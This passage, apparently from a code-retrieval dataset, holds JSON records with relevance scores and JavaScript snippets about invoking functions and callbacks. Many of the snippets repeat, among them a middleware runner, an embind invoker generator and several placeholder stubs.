Error('Expected function as last argument, not ' + done)\n }\n\n next.apply(null, [null].concat(input))\n\n // Run the next `fn`, if any.\n function next(err) {\n var fn = fns[++index]\n var params = slice.call(arguments, 0)\n var values = params.slice(1)\n var length = input.length\n var pos = -1\n\n if (err) {\n done(err)\n return\n }\n\n // Copy non-nully input into values.\n while (++pos < length) {\n if (values[pos] === null || values[pos] === undefined) {\n values[pos] = input[pos]\n }\n }\n\n input = values\n\n // Next or done.\n if (fn) {\n wrap(fn, next).apply(null, input)\n } else {\n done.apply(null, [null].concat(input))\n }\n }\n }", "title": "" }, { "docid": "f69275c751858ea01aafbff1a09232d6", "score": "0.5699289", "text": "function run() {\n var index = -1\n var input = slice.call(arguments, 0, -1)\n var done = arguments[arguments.length - 1]\n\n if (typeof done !== 'function') {\n throw new Error('Expected function as last argument, not ' + done)\n }\n\n next.apply(null, [null].concat(input))\n\n // Run the next `fn`, if any.\n function next(err) {\n var fn = fns[++index]\n var params = slice.call(arguments, 0)\n var values = params.slice(1)\n var length = input.length\n var pos = -1\n\n if (err) {\n done(err)\n return\n }\n\n // Copy non-nully input into values.\n while (++pos < length) {\n if (values[pos] === null || values[pos] === undefined) {\n values[pos] = input[pos]\n }\n }\n\n input = values\n\n // Next or done.\n if (fn) {\n wrap(fn, next).apply(null, input)\n } else {\n done.apply(null, [null].concat(input))\n }\n }\n }", "title": "" }, { "docid": "f69275c751858ea01aafbff1a09232d6", "score": "0.5699289", "text": "function run() {\n var index = -1\n var input = slice.call(arguments, 0, -1)\n var done = arguments[arguments.length - 1]\n\n if (typeof done !== 'function') {\n throw new Error('Expected function as last argument, not ' + done)\n }\n\n next.apply(null, [null].concat(input))\n\n // Run the next `fn`, if any.\n function next(err) {\n var fn = fns[++index]\n var params = slice.call(arguments, 0)\n var values = params.slice(1)\n var length = input.length\n var pos = -1\n\n if (err) {\n done(err)\n return\n }\n\n // Copy non-nully input into values.\n while (++pos < length) {\n if (values[pos] === null || values[pos] === undefined) {\n values[pos] = input[pos]\n }\n }\n\n input = values\n\n // Next or done.\n if (fn) {\n wrap(fn, next).apply(null, input)\n } else {\n done.apply(null, [null].concat(input))\n }\n }\n }", "title": "" }, { "docid": "f69275c751858ea01aafbff1a09232d6", "score": "0.5699289", "text": "function run() {\n var index = -1\n var input = slice.call(arguments, 0, -1)\n var done = arguments[arguments.length - 1]\n\n if (typeof done !== 'function') {\n throw new Error('Expected function as last argument, not ' + done)\n }\n\n next.apply(null, [null].concat(input))\n\n // Run the next `fn`, if any.\n function next(err) {\n var fn = fns[++index]\n var params = slice.call(arguments, 0)\n var values = params.slice(1)\n var length = input.length\n var pos = -1\n\n if (err) {\n done(err)\n return\n }\n\n // Copy non-nully input into values.\n while (++pos < length) {\n if (values[pos] === null || values[pos] === undefined) {\n values[pos] = input[pos]\n }\n }\n\n input = values\n\n // Next or done.\n if (fn) {\n wrap(fn, next).apply(null, input)\n } else {\n done.apply(null, [null].concat(input))\n }\n }\n }", "title": "" }, { "docid": "8552898cf159b9da049956b9384d06d6", "score": "0.56979746", "text": "runCallbacks(callbacks, args) {\r\n for (let i = 0; i < callbacks.length; i++) {\r\n if (typeof callbacks[i] !== 'function') continue;\r\n callbacks[i].apply(null, args);\r\n }\r\n }", "title": "" }, { "docid": "84b72a7bb3878dd9f3d65ee0165fd886", "score": "0.5642216", "text": "function run() {\n var index = -1;\n var input = slice$3.call(arguments, 0, -1);\n var done = arguments[arguments.length - 1];\n\n if (typeof done !== 'function') {\n throw new Error('Expected function as last argument, not ' + done)\n }\n\n next.apply(null, [null].concat(input));\n\n // Run the next `fn`, if any.\n function next(err) {\n var fn = fns[++index];\n var params = slice$3.call(arguments, 0);\n var values = params.slice(1);\n var length = input.length;\n var pos = -1;\n\n if (err) {\n done(err);\n return\n }\n\n // Copy non-nully input into values.\n while (++pos < length) {\n if (values[pos] === null || values[pos] === undefined) {\n values[pos] = input[pos];\n }\n }\n\n input = values;\n\n // Next or done.\n if (fn) {\n wrap$2(fn, next).apply(null, input);\n } else {\n done.apply(null, [null].concat(input));\n }\n }\n }", "title": "" }, { "docid": "cbba30df31fb797dc0fbb54d48e401ee", "score": "0.5588789", "text": "function customFunction ( Parameters ) {\n // Statements using Parameters\n // returen the result\n}", "title": "" }, { "docid": "86fd6b16a3d554716d232d3dbba12fbd", "score": "0.5551968", "text": "function someRunner(anyFunction){ \n \tconsole.log(2+2); \n \tanyFunction(); \n }", "title": "" }, { "docid": "ccde59f42a313869939a6aaf887cf542", "score": "0.5542713", "text": "function invoker() {\n // using a regular function as higher order by passing it other functions\n return greeting(hello, goodbye);\n}", "title": "" }, { "docid": "48f8ac416dc6599b7bf46b872e607394", "score": "0.5540696", "text": "call_instance_method(method_name, parameter_list, context, thread_info, callside) {\n \n }", "title": "" }, { "docid": "fa90ccc82101f78bafdd0afe6e5769f5", "score": "0.55357707", "text": "function calling(fun){\n fun();\n}", "title": "" }, { "docid": "9990bd563328e790efc7dafc0e08922f", "score": "0.55251443", "text": "function justInvoke(fn){\n return fn()\n}//justInvoke", "title": "" }, { "docid": "0a882869b9779fca6714e2a1cae0243a", "score": "0.5517341", "text": "function primary(arg1, arg2) { // primary\n // ...\n}", "title": "" }, { "docid": "e8833b6b338904aaace50ee056ea4776", "score": "0.5512767", "text": "function defaultParams() {\n console.log(es5Function());\n console.log(es5Function(5));\n console.log(es5Function(1, 2));\n console.log(\"-------------\");\n console.log(es6Function());\n console.log(es6Function(5));\n console.log(es6Function(1, 2));\n console.log(\"-------------\");\n console.log(es6Function2());\n console.log(es6Function2(5));\n console.log(es6Function2(1, 2));\n console.log(\"-------------\");\n console.log(es6Function3());\n console.log(es6Function3(5));\n console.log(es6Function3(1, 2));\n console.log(es6Function3(undefined, 2));\n}", "title": "" }, { "docid": "5f0830c7dfe4f3fd6db22fe42569232c", "score": "0.55047166", "text": "function functionName(arguments) {\n //code here\n}", "title": "" }, { "docid": "c58d04489ea25b18dea0c89333ba0075", "score": "0.54985446", "text": "function OptionalParametersAndRestParameters() {\n function invokeLater(args, callback) {\n /* ... Invoke callback with 'args' ... */\n }\n // Unsound - invokeLater \"might\" provide any number of arguments\n invokeLater([1, 2], (x, y) => console.log(x + \", \" + y));\n // Confusing (x and y are actually required) and undiscoverable\n invokeLater([1, 2], (x, y) => console.log(x + \", \" + y));\n}", "title": "" }, { "docid": "8fc61f980383ce38aadee18c7c0683e6", "score": "0.5473255", "text": "callCustom(userFn) {\n let sliced;\n\n sliced = Array.prototype.slice.call(arguments, 1);\n\n if (this.options.callbacks !== undefined && this.options.callbacks[userFn] !== undefined && typeof this.options.callbacks[userFn] === 'function'\n ) {\n this.options.callbacks[userFn].apply(this, sliced);\n }\n }", "title": "" }, { "docid": "3c1b18d223fe767ab606eaafa9ef1592", "score": "0.5465632", "text": "function createChainedFunction() {\r\n\t for (var _len = arguments.length, funcs = Array(_len), _key = 0; _key < _len; _key++) {\r\n\t funcs[_key] = arguments[_key];\r\n\t }\r\n\t\r\n\t return funcs.filter(function (f) {\r\n\t return f != null;\r\n\t }).reduce(function (acc, f) {\r\n\t if (typeof f !== 'function') {\r\n\t throw new Error('Invalid Argument Type, must only provide functions, undefined, or null.');\r\n\t }\r\n\t\r\n\t if (acc === null) {\r\n\t return f;\r\n\t }\r\n\t\r\n\t return function chainedFunction() {\r\n\t for (var _len2 = arguments.length, args = Array(_len2), _key2 = 0; _key2 < _len2; _key2++) {\r\n\t args[_key2] = arguments[_key2];\r\n\t }\r\n\t\r\n\t acc.apply(this, args);\r\n\t f.apply(this, args);\r\n\t };\r\n\t }, null);\r\n\t}", "title": "" }, { "docid": "524af1dcfe308044d2712632683a274f", "score": "0.546533", "text": "function API()\r\n{\r\n this.call = function(callName, args, handler)\r\n {\r\n if(apiReturns[callName])\r\n {\r\n log(\"API call \" + callName + \" overriden.\");\r\n if(callbacks[callName] && callbacks[callName].before) callbacks[callName].callback(args, apiReturns[callName]);\r\n if(handler) handler(apiReturns[callName]);\r\n if(callbacks[callName] && !callbacks[callName].before) callbacks[callName].callback(args, apiReturns[callName]);\r\n }\r\n else\r\n {\r\n if(callbacks[callName] && callbacks[callName].callback)\r\n api_call(callName, args, function(e)\r\n {\r\n if(callbacks[callName].before) callbacks[callName].callback(args, apiReturns[callName]);\r\n if(handler) handler(apiReturns[callName]);\r\n if(!callbacks[callName].before) callbacks[callName].callback(args, apiReturns[callName]);\r\n });\r\n else\r\n api_call(callName, args, handler);\r\n }\r\n }\r\n\r\n // Override API call [apiCallName] to return [apiReturn].\r\n this.setAPIOverride = function(apiCallName, apiReturn)\r\n {\r\n apiReturns[apiCallName] = apiReturn;\r\n }\r\n\r\n this.clearAPIOverride = function(apiCallName)\r\n {\r\n this.setAPIOverride(apiCallName, undefined);\r\n }\r\n\r\n // Call [callback] after the normal handler for [apiCallName] has been executed. Iff [before] is set, [callback] will be called before the typical handler.\r\n this.setAPICallback = function(apiCallName, _callback, _before)\r\n {\r\n callbacks[apiCallName] = { callback : _callback, before : _before };\r\n }\r\n\r\n this.clearAPICallback = function(apiCallName)\r\n {\r\n callbacks[apiCallName] = undefined;\r\n }\r\n\r\n // Collection of API overrides.\r\n var apiReturns = {};\r\n // Collection of API callbacks.\r\n var callbacks = {};\r\n}", "title": "" }, { "docid": "4f0665c82ac851420e1fb17752e59d75", "score": "0.54577047", "text": "function bindFunctions (namespace, functions=[]) {\n let ns = getNamespace(namespace);\n functions.forEach(fnDef => {\n let { name: method, successCallbackIndex: success, failureCallbackIndex: failure } = fnDef;\n let name = `${namespace}.${method}`;\n exportFunction(JETPACK.RPC.bind(null, { name, success, failure }), ns, { defineAs: method });\n });\n}", "title": "" }, { "docid": "c3e77b22855f6cbdf423b35f33e05fda", "score": "0.54484004", "text": "function call(functions, scope) {\n\n // Allow the passing of an unwrapped function.\n // Leaves other code a more comprehensible.\n if (!$.isArray(functions)) {\n functions = [functions];\n }\n\n $.each(functions, function () {\n if (typeof this === 'function') {\n this.call(scope);\n }\n });\n }", "title": "" }, { "docid": "4f4acbec8068642aa7bbce853bf4b5aa", "score": "0.54377794", "text": "function myReallyCoolFunction(someOtherFunction){\n //it does some stuff...\n //the passed in function might do some post processing\n \n\n console.log(\"the function passed in =\", someOtherFunction)\n}", "title": "" }, { "docid": "21ffff891c7089244a86040d142a3e4c", "score": "0.54352593", "text": "function Hello(parameter1, parameter2, parameter3) {\n // code to be executed\n}", "title": "" }, { "docid": "316eb1d69ef9065ecd6756092ab0af17", "score": "0.54208046", "text": "function myOtherrunFunctions(b,c){\r\n console.log(\"I'm another function that will run two other functions.\");\r\n b();\r\n c(); \r\n}", "title": "" }, { "docid": "ed436502a4f61a0a14bf3a77b58f81ec", "score": "0.5406237", "text": "function $function(code, name, flags, arg_names, defaults) {\n // __new__\n function $function_instance() {\n // todo process arguments and include starargs and kwargs\n// var result = process_arguments(data, arguments);\n var result = arguments;\n return code.apply($function_instance, result);\n }\n\n // __init__\n mimic_instance($function_instance, name, $function);\n $function_instance.__code__ = code;\n\n return $function_instance;\n }", "title": "" }, { "docid": "00380b1da24eab42fb4a1aead122f74e", "score": "0.5391782", "text": "function myFunction(parameterOne, parameterTwo) {\n\t// function body\n}", "title": "" }, { "docid": "1b71597013f2bee697c423e84414ec65", "score": "0.53869295", "text": "function abc (a, b, bla ){\n return bla(a,b)\n }", "title": "" }, { "docid": "f64610e6cd248fabc551cbbdf76e699e", "score": "0.5385533", "text": "executeFunction(fn, args) { return fn(...args); }", "title": "" }, { "docid": "f64610e6cd248fabc551cbbdf76e699e", "score": "0.5385533", "text": "executeFunction(fn, args) { return fn(...args); }", "title": "" }, { "docid": "503a8c8a00f3e4ebccfd255e1df8a629", "score": "0.538451", "text": "function functionName (parameter1, parameter2) {\n // do something;\n}", "title": "" }, { "docid": "f82c015df662cd6e2269fd4870d848ee", "score": "0.5363887", "text": "function getArgAndCb(arg, callback, def) {\n\t return typeof arg === 'function' ? [def, arg] : [arg, callback];\n\t}", "title": "" }, { "docid": "31537d2d97497c8c51b0f3515582b3e5", "score": "0.5363666", "text": "function myOtherFunction (first_argument = second_argument, second_argument) {}", "title": "" }, { "docid": "ade1918ac8a0ddc7d1b34b71b556d192", "score": "0.5358006", "text": "function applyFunction(fn, a, b) {\n //More code\n return fn(a,b);\n}", "title": "" }, { "docid": "f1680a05103b2e7f42a693c6b987dab2", "score": "0.5354235", "text": "adoptedCallback() { }", "title": "" }, { "docid": "d81d95e073b5ac61a917cedf0cbcecc7", "score": "0.5352678", "text": "function Hello(parameters) {\n // code to be executed \n}", "title": "" }, { "docid": "c44ce15025d7f86dd9f85faca04993a9", "score": "0.5346742", "text": "function callbackParams(callback) {\n callback();\n}", "title": "" }, { "docid": "c64aad814f1cca2a12c1307f492df637", "score": "0.53266925", "text": "function callTogether () {\n var funcs = arguments\n var length = funcs.length\n var index = length\n\n if (!length) {\n return function () {}\n }\n\n return function () {\n length = index\n\n while (length--) {\n var fn = funcs[length]\n if (typeof fn === 'function') {\n var result = funcs[length].apply(this, arguments)\n }\n }\n return result\n }\n}", "title": "" }, { "docid": "e12413370d66c71ca9798502c41d55b9", "score": "0.5317574", "text": "apply(args) {\n // ... //\n }", "title": "" }, { "docid": "9e354391100a3712632e1e6229657624", "score": "0.5309638", "text": "function normalFunction(normalFunctionparameters) {\n console.log(normalFunctionparameters);\n}", "title": "" }, { "docid": "abbd4744d24d9739d6a2b13392cbe456", "score": "0.5309203", "text": "function craftInvokerFunction(humanName, argTypes, classType, cppInvokerFunc, cppTargetFunc) {\n // humanName: a human-readable string name for the function to be generated.\n // argTypes: An array that contains the embind type objects for all types in the function signature.\n // argTypes[0] is the type object for the function return value.\n // argTypes[1] is the type object for function this object/class type, or null if not crafting an invoker for a class method.\n // argTypes[2...] are the actual function parameters.\n // classType: The embind type object for the class to be bound, or null if this is not a method of a class.\n // cppInvokerFunc: JS Function object to the C++-side function that interops into C++ code.\n // cppTargetFunc: Function pointer (an integer to FUNCTION_TABLE) to the target C++ function the cppInvokerFunc will end up calling.\n var argCount = argTypes.length;\n\n if (argCount < 2) {\n throwBindingError(\"argTypes array size mismatch! Must at least get return value and 'this' types!\");\n }\n\n var isClassMethodFunc = (argTypes[1] !== null && classType !== null);\n\n // Free functions with signature \"void function()\" do not need an invoker that marshalls between wire types.\n// TODO: This omits argument count check - enable only at -O3 or similar.\n// if (ENABLE_UNSAFE_OPTS && argCount == 2 && argTypes[0].name == \"void\" && !isClassMethodFunc) {\n// return FUNCTION_TABLE[fn];\n// }\n\n var argsList = \"\";\n var argsListWired = \"\";\n for(var i = 0; i < argCount - 2; ++i) {\n argsList += (i!==0?\", \":\"\")+\"arg\"+i;\n argsListWired += (i!==0?\", \":\"\")+\"arg\"+i+\"Wired\";\n }\n\n var invokerFnBody =\n \"return function \"+makeLegalFunctionName(humanName)+\"(\"+argsList+\") {\\n\" +\n \"if (arguments.length !== \"+(argCount - 2)+\") {\\n\" +\n \"throwBindingError('function \"+humanName+\" called with ' + arguments.length + ' arguments, expected \"+(argCount - 2)+\" args!');\\n\" +\n \"}\\n\";\n\n // Determine if we need to use a dynamic stack to store the destructors for the function parameters.\n // TODO: Remove this completely once all function invokers are being dynamically generated.\n var needsDestructorStack = false;\n\n for(var i = 1; i < argTypes.length; ++i) { // Skip return value at index 0 - it's not deleted here.\n if (argTypes[i] !== null && argTypes[i].destructorFunction === undefined) { // The type does not define a destructor function - must use dynamic stack\n needsDestructorStack = true;\n break;\n }\n }\n\n if (needsDestructorStack) {\n invokerFnBody +=\n \"var destructors = [];\\n\";\n }\n\n var dtorStack = needsDestructorStack ? \"destructors\" : \"null\";\n var args1 = [\"throwBindingError\", \"invoker\", \"fn\", \"runDestructors\", \"retType\", \"classParam\"];\n var args2 = [throwBindingError, cppInvokerFunc, cppTargetFunc, runDestructors, argTypes[0], argTypes[1]];\n\n if (isClassMethodFunc) {\n invokerFnBody += \"var thisWired = classParam.toWireType(\"+dtorStack+\", this);\\n\";\n }\n\n for(var i = 0; i < argCount - 2; ++i) {\n invokerFnBody += \"var arg\"+i+\"Wired = argType\"+i+\".toWireType(\"+dtorStack+\", arg\"+i+\"); // \"+argTypes[i+2].name+\"\\n\";\n args1.push(\"argType\"+i);\n args2.push(argTypes[i+2]);\n }\n\n if (isClassMethodFunc) {\n argsListWired = \"thisWired\" + (argsListWired.length > 0 ? \", \" : \"\") + argsListWired;\n }\n\n var returns = (argTypes[0].name !== \"void\");\n\n invokerFnBody +=\n (returns?\"var rv = \":\"\") + \"invoker(fn\"+(argsListWired.length>0?\", \":\"\")+argsListWired+\");\\n\";\n\n if (needsDestructorStack) {\n invokerFnBody += \"runDestructors(destructors);\\n\";\n } else {\n for(var i = isClassMethodFunc?1:2; i < argTypes.length; ++i) { // Skip return value at index 0 - it's not deleted here. Also skip class type if not a method.\n var paramName = (i === 1 ? \"thisWired\" : (\"arg\"+(i - 2)+\"Wired\"));\n if (argTypes[i].destructorFunction !== null) {\n invokerFnBody += paramName+\"_dtor(\"+paramName+\"); // \"+argTypes[i].name+\"\\n\";\n args1.push(paramName+\"_dtor\");\n args2.push(argTypes[i].destructorFunction);\n }\n }\n }\n\n if (returns) {\n invokerFnBody += \"return retType.fromWireType(rv);\\n\";\n }\n invokerFnBody += \"}\\n\";\n\n args1.push(invokerFnBody);\n\n var invokerFunction = new_(Function, args1).apply(null, args2);\n return invokerFunction;\n}", "title": "" }, { "docid": "677974da16a09afb79fcb837fe581763", "score": "0.5307916", "text": "_callHandler() {\n let args = [].slice.call( arguments );\n let name = args.length ? args.shift() : '';\n\n if ( name && typeof this._options[ name ] === 'function' ) {\n this._options[ name ].apply( this, args );\n }\n }", "title": "" }, { "docid": "5fa478a6fd84154a2993a69deea0f5f0", "score": "0.53066427", "text": "function example4() {\n\n var me = {\n name: \"Vlad\",\n surname: \"Argentum\"\n };\n\n function hi(_ref) {\n var _ref$name = _ref.name;\n var name = _ref$name === undefined ? \"Guest\" : _ref$name;\n var _ref$surname = _ref.surname;\n var s = _ref$surname === undefined ? \"Anon\" : _ref$surname;\n\n console.log(\"Hi, \" + name + \" \" + s);\n }\n\n hi({}); //Guest Anon\n hi(me); //Vlad Argentum\n\n //even can call without params\n function hi() {\n var _ref2 = arguments.length <= 0 || arguments[0] === undefined ? {} : arguments[0];\n\n var _ref2$name = _ref2.name;\n var name = _ref2$name === undefined ? \"No\" : _ref2$name;\n var _ref2$surname = _ref2.surname;\n var s = _ref2$surname === undefined ? \"Params\" : _ref2$surname;\n\n console.log(\"Hi, \" + name + \" \" + s);\n }\n hi(); //No Params\n}", "title": "" }, { "docid": "bc6302d3f089933e59308340b1496bbf", "score": "0.52939785", "text": "function name(parameters) {\n // function body\n}", "title": "" }, { "docid": "179eb5c6c7db21182c4a7576dd6868f7", "score": "0.5290484", "text": "function e(a,b){return function(){return a.apply(b,arguments)}}", "title": "" }, { "docid": "fc0cc96e534bd33bd1a5702768cc759f", "score": "0.52832407", "text": "function wrapper() {\n\t\tclbk.apply( null, args );\n\t}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) {\n while(callbacks.length > 0) {\n var callback = callbacks.pop();\n var func = callback.func;\n if (typeof func === 'number') {\n func = FUNCTION_TABLE[func];\n }\n func(callback.arg === undefined ? null : callback.arg);\n }\n}", "title": "" }, { "docid": "cd96fe41f83d25463e299ac43e3c0437", "score": "0.52739656", "text": "function callRuntimeCallbacks(callbacks) 